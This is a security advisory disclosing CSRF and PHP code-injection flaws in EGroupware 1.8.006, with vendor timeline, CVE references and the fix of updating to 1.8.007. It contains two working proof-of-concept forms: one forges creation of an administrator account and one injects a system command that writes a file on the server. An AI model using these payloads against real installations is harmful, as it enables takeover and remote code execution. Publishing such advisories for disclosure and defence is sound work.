Advisory ID: HTB23212
Product: EGroupware
Vendor: http://www.egroupware.org/
Vulnerable Version(s): 1.8.006 community edition and probably prior
Tested Version: 1.8.006 community edition
Advisory Publication:  April 23, 2014  [without technical details]
Vendor Notification: April 23, 2014
Vendor Patch: May 6, 2014
Public Disclosure: May 14, 2014
Vulnerability Type: Cross-Site Request Forgery [CWE-352], Code Injection [CWE-94]
CVE References: CVE-2014-2987, CVE-2014-2988
Risk Level: High
CVSSv2 Base Scores: 5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P), 8.5 (AV:N/AC:M/Au:S/C:C/I:C/A:C)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ )

-----------------------------------------------------------------------------------------------

Advisory Details:

High-Tech Bridge Security Research Lab discovered CSRF and Remote Code Execution vulnerabilities in EGroupware, which can be exploited by remote attacker to gain full control over the application and compromise vulnerable system.


1) Сross-Site Request Forgery (CSRF) in EGroupware: CVE-2014-2987


The vulnerability exists due to insufficient verification of the HTTP request origin. A remote attacker can create a new user account with administrative privileges by tricking logged-in Groupware administrator to visit a malicious pages with CSRF exploit.

Simple CSRF exploit below creates new administrator with login "immuniweb" and password "immuniweb":


<form action="http://[host]/index.php?menuaction=admin.uiaccounts.add_user" method="post" name="main">
<input type="hidden" name="account_lid" value="immuniweb">
<input type="hidden" name="account_status" value="A">
<input type="hidden" name="account_firstname" value="firstname">
<input type="hidden" name="account_lastname" value="lastname">
<input type="hidden" name="account_passwd" value="immuniweb">
<input type="hidden" name="account_passwd_2" value="immuniweb">
<input type="hidden" name="changepassword" value="1">
<input type="hidden" name="expires" value="2014/04/29">
<input type="hidden" name="never_expires" value="True">
<input type="hidden" name="account_email" value="immuniweb@immuniweb.com">
<input type="hidden" name="account_groups[]" value="-2">
<input type="hidden" name="account_primary_group" value="-2">
<input type="hidden" name="submit" value="Add">
<input type="submit" id="btn">
</form>



2) Code Injection in EGroupware: CVE-2014-2988


The vulnerability exists due to insufficient sanitisation of input data passed via the HTTP POST "newsettings" parameter to PHP function "call_user_func()". A remote attacker with administrative privileges can inject and execute arbitrary PHP code on the target system with privileges of the webserver.


This vulnerability can be exploited in pair with the above-described CSRF vulnerability.

The following exploitation example writes "immuniweb" word into file "/1.php":


<form action="http://[host]/index.php?menuaction=admin.uiconfig.index&appname=phpbrain" method="post" name="main">
<input type="hidden" name="newsettings[system]" value="echo immuniweb>1.php">
<input type="hidden" name="submit" value="Save">
<input type="submit" id="btn">
</form>




-----------------------------------------------------------------------------------------------

Solution:

Update to EGroupware version 1.8.007

More Information:
http://www.egroupware.org/forum#nabble-td3997580
http://www.egroupware.org/changelog

-----------------------------------------------------------------------------------------------

References:

[1] High-Tech Bridge Advisory HTB23212 - https://www.htbridge.com/advisory/HTB23212 - CSRF and Remote Code Execution in EGroupware.
[2] EGroupware - http://www.egroupware.org/ - EGroupware is the leading open source collaboration tool and the top choice for big enterprises, SMEs and teams within and across organizations all over the globe.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
[5] ImmuniWeb® SaaS - https://www.htbridge.com/immuniweb/ - hybrid of manual web application penetration test and cutting-edge vulnerability scanner available online via a Software-as-a-Service (SaaS) model.

-----------------------------------------------------------------------------------------------

Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.